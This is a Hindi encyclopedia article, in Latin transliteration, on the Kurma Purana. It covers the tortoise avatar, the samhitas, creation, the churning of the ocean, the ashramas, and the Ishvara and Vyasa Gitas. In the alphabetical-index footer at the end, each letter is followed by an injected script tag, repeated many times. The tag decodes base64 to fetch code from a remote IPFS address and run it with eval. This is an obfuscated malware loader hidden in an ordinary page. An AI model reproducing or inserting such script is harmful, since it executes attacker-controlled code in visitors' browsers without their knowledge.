कूर्म पुराण

[[chitr:Cover-Kurma-Purana.jpg|thumb|koorm puran, gitapres gorakhapur ka avaran prishth]] hindoo dharmik manyata ke anusar yah mana jata hai ki vishnu bhagavan 'koormavatar' arthath kachchhap roop mean samudr manthan ke samay mandarachal ko apani pith par dharan karane ke prasang mean raja indradyumn ko jnan, bhakti aur moksh ka upadesh dete haian. use hi lomaharshan soot ji ne shaunakadi rrishiyoan ko naimisharany mean sunaya tha. vahi 'koorm puran' ka roop grahan kar saka. [[chitr:Kurma-Avatar.jpg|thumb|koorm avatar
Kurma Avatar]]

sanhita

is puran mean char sanhitaean haian-

brahmi sanhita,
bhagavati sanhita,
shauri sanhita aur
vaishnavi sanhita. in charoan sanhitaoan mean aj keval brahmi sanhita hi prapy upalabdh hai. shesh sanhitaean upalabdh nahian haian. brahmi sanhita mean puranoan ke pray: sabhi lakshan-sarg, pratisarg, devoan aur rrishiyoan ke vansh, manvantar, vanshanucharit tatha any dharmik kathaean adi upalabdh haian. is puran ne vaishnav, shaiv aur shakt-tinoan sampradayoan ko samanvayatmak roop prastut kiya hai. sabhi ko saman manyata di hai.

srishti ki utpatti

any puranoan ki bhaanti 'koorm puran' mean bhi srishti ki utpatti 'brahm' se svikar ki gee hai. sabhi j d-chetan svaroopoan mean jivan ka aansh mana gaya hai aur is jivan-aansh ko hi brahm ka aansh kaha gaya hai. jaise-meroo parvat ki ayati aur niyati do kanyaean thian, jinaka vivah dhata evan vidhata se hua tha. phir unaki bhi santanean hueean. is prakar j d padarth ko bhi manaviy roop dekar puranakar ne unhean jivit manushy hi mana hai. isi srishti se manav jati ka bhi vikas hua.

samudr manthan

[[chitr:God-Vishnu.jpg|thumb|200px|bhagavan vishnu
God Vishnu]] bharatiy puranakaroan ko visheshata rahi hai ki unhoanne sabhi j d-chetan svaroopoan mean jivan ka aansh manakar unamean paraspar bandhutv ki bhavana samahit ki hai aur unhean poojaniy bana diya hai. sabase pahale is puran mean samudr manthan se utpann vishnu ki maya athava shakti 'lakshmi' ke pradurbhav ka prasang uthakar usaki stuti karane ki bat kahi gee hai. taduparant vishnu ke nabhi kamal se brahma ji ka janm hota hai. phir brahma se unake nau manas putroan ke janm ka vrittant hai. phir vedoan mean nihit jnan ki mahima aur varnashram dharm ka vishad vivechan hai. yahaan koorm roop mean vishnu bhagavan svayan rrishiyoan se charoan ashramoan ka ullekh karake unake do-do roop batate haian. yatha-

brahmachary ashram ke do bhed- is ashram mean rahane vale do prakar ke brahmachari- 'upakuvanik' aur 'naishtik' hote haian. jo brahmachari vidhivat vedoan tatha any shastroan ka adhyayan karake grihasth jivan mean pravesh karata hai, vah 'upakuvanik brahmachari' hota hai aur jo manushy jivanaparyant guru ke nikat rahakar brahmajnan ka satat abhyas karata hai, vah 'naishtik brahmachari' kahalata hai.

[[chitr:Lakshmi.jpg|thumb|200px|lakshmi
Lakshmi|left]]

grihasthashram ke do bhed- grihasthashram mean rahane vale vyakti 'sadhak' aur 'udasin' kahalate haian. jo vyakti apani grihasthi evan parivar ke bharan-poshan mean laga rahata hai, vah 'sadhak grihasth' kahalata hai aur jo devaganoan ke rrin, pitriganoan ke rrin tatha rrishigan ke rrin se mukt hokar nirlipt bhav se apani patni evan sampatti ka upabhog karata hai, vah 'udasin grihasth' kaha jata hai.
vanaprasth ashram ke do bhed- ise do roopoan 'tapas' aur 'saannyasik' mean vibhakt kiya gaya hai. jo vyakti van mean rahakar havan, anushthan tatha svadhyay karata hai, vah 'tapas vanaprasthi' kahalata hai aur jo sadhak kathor tap se apane sharir ko krish evan kshin kar leta hai tatha eeshvaradhana mean nirantar laga rahata hai, use 'saannyasik vanaprasthi' kaha jata hai.
sannyas ashram ke do bhed- sannyas ashram mean rahane vale vyakti 'parameshthik' tatha 'yogi' kahalate haian. nityaprati yogabhyas dvara apani indriyoan aur man ko jitane vala tatha moksh ki kamana rakhane vala sadhak 'parameshthik sannyasi' kahalata hai aur jo vyakti brahm ka sakshatkar kar apani atma mean hi paramatma ke divy svaroop ka darshan karata hai, vah 'yogi sannyasi' kaha jata hai.
yahaan puranakar ne nishkam karm yog sadhana; narayan, vishnu, brahma aur mahadev namoan ki vyakhya, chaturyug varnan, kal varnan, nau prakar ki srishtiyoan ka varnan, madhu-kaitabh rakshas ki utpatti aur unake vadh ka drishtant, bhagavan shiv ke vividh roopoan tatha namoan ki mahima ka varnan, shakti ki upasana ka goodh, gahan tatha bhavuk varnan, daksh kanyaoan dvara utpann santati ka varnan, nrisianh avatar lila ka varnan, bhakt prahlad ka charitr, sooryavanshi rajaoan ki vanshavali, chandr vansh ki vanshavali, varanasi ke vishveshvar liang ki mahima, vyas aur jaimini rrishi ke madhy dharm sambandhi sanvadoan ka vivaran, sthool sharir se sookshm sharir mean jane ka varnan, moksh varnan tatha pauranik bhoogol ka vistrit ullekh kiya hai.

eeshvar gita aur vyas gita

[[chitr:krishna-arjun1.jpg|thumb|200px|krishna aur arjun
Krishna And Arjuna]] ye sare vishay 'koorm puran' ke poorvarddh bhag mean samahit haian. is puran ke uttarardh mean 'eeshvar gita' aur 'vyas gita' ka b da hi sundar-darshanik vivechan kiya gaya hai. eeshvar aur bhagavan shiv ke madhy hue sanvad ko rrishigan grahan karate haian. use 'eeshvar gita' ka nam diya gaya hai. is gita par vyas ji dvara 'mahabharat' mean rachit 'shrimadbhagavat gita' ka gahara aur vyapak prabhav drishtigochar hota hai. isamean nataraj shiv ke vishv roop ka varnan hai. 'atmatattv' ke svaroop ka niroopan karate hue svayan bhagavan shiv kahate haian ki jis prakar prakash aur aandhakar ka, dhoop aur chhaya ko koee sambandh nahian ho sakata, usi prakar 'atma' aur 'prapanch' donoan ek-doosare se sarvatha bhinn haian. sukh-dukh, rag-dvesh, sthool aur sookshm adi atma ke lakshan nahian haian. ye sabhi vikar haian, jinhean manushy apane ahankar ke karan dharan kar leta hai. isaka mool karan ajnan hai. jab yogi sabhi praniyoan mean atma ka samabhav dekhane lagata hai, tabhi vah sachcha premi ho jata hai. vyas ki 'shrimadbhagavadh gita' mean bhagavan shrikrishna arjun se kahate haian-
atmaupamyen sarvatr saman pashyati yoarjun.
sukhan va yadi va du:khan s yogi paramo mat:॥ (shrimadbhagavadh gita 6/32)

arthath he arjun! vah vyakti poorn yogi hai, jo apani tulana se samast praniyoan ke sukhoan tatha dukhoan mean vastavik samanata ka darshan karata hai. aisa hi bhav 'shrimadbhagavadh gita' mean ek any sthan par bhi aya hai-

vidyavinayasanpanne brahmane gavi hastini.
shuni chaiv shvapake ch pandita: samadarshin:॥ (shrimadbhagavadh gita 5/18)

arthath vinamr-sadhu purush apane vastavik jnan ke karan ek vidvan, vinit brahman, gay, hathi, kutta tatha chandal ko saman drishti se dekhate haian. bhav yahi hai ki j d-chetan, pashu-pakshi, nar-nari- sabhi mean jo vyakti atma ke saman bhav se darshan karata hai, vahi poorn yogi hota hai arthath paramatma se usaka sanyog ho jata hai. vah usi ki param jyoti mean lin hokar apana astitv samapt kar leta hai.

saankhy yog

isake alava 'koorm puran' mean saankhy yog ke chaubis tattvoan, sadachar ke niyamoan, gayatri, mahima, grihasth dharm, shreshth samajik niyamoan, vividh sanskaroan, pitrikarmoan- shraddh, pindadan adi ki vidhiyoan tatha charoan ashramoan mean rahate hue achar-vicharoan ka palan karane ka vistar se vivechan kiya gaya hai.
is puran ki ganana shaiv puranoan mean ki jati hai. kintu vishnu ki ninda athava unake prabhav ko kam karake isamean nahian aanka gaya hai. isamean devi mahatmy ka bhi vyapak varnan hai. sagun aur nirgun brahm ki upasana ka sundar aur saragarbhit vivechan bhi isamean prapt hota hai.

sanbandhit lekh

shrutiyaan

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah